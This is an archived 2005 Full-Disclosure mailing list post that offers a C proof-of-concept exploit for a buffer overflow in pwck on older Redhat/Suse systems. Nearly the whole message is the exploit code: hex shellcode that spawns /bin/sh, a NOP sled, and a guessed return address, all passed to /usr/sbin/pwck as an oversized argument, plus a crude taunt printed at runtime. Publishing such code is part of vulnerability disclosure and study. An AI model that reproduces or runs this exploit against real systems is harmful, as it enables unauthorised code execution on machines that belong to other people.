full-disclosure - PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20050507010327.60754.qmail@web60914.mail.yahoo.com>
Date: Sat May  7 02:03:32 2005
From: d4yj4y at yahoo.com (Day Jay)
Subject: PWCK Overflow POC Code Redhat/Suse older versions
	or something (maybe later too)

----snip----
//Chung's Donut Shop release !!
//Redhat/Suse PWCK Buffer overflow POC Code 
//(PWCK is NOT SETUID) This isn't fake 
//code I promise (it may be borrowed) ;)  d4yj4y 
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)         
{ __asm__("movl %esp, %eax");} 
int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;
  offset = 1700; //the offset I first found worked
  esp = sp();                
  ret = esp - offset;         
  buffer = malloc(2200);
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for(i=0; i < 2200; i+=4)
  { *(addr_ptr++) = ret; }
  for(i=0; i < 1000; i++)
  { buffer[i] = '\x90'; }
  ptr = buffer + 200;
  for(i=0; i < strlen(shellcode); i++)
  { *(ptr++) = shellcode[i]; }
  buffer[2200-1] = 0;
  printf("d4yj4y fscked j00r mom!\n"); sleep(2);
   execl("/usr/sbin/pwck", "pwck", buffer, 0);
  free(buffer);
  return 0;
}
----snip----



		
Yahoo! Mail
Stay connected, organized, and protected. Take the tour:
http://tour.mail.yahoo.com/mailtour.html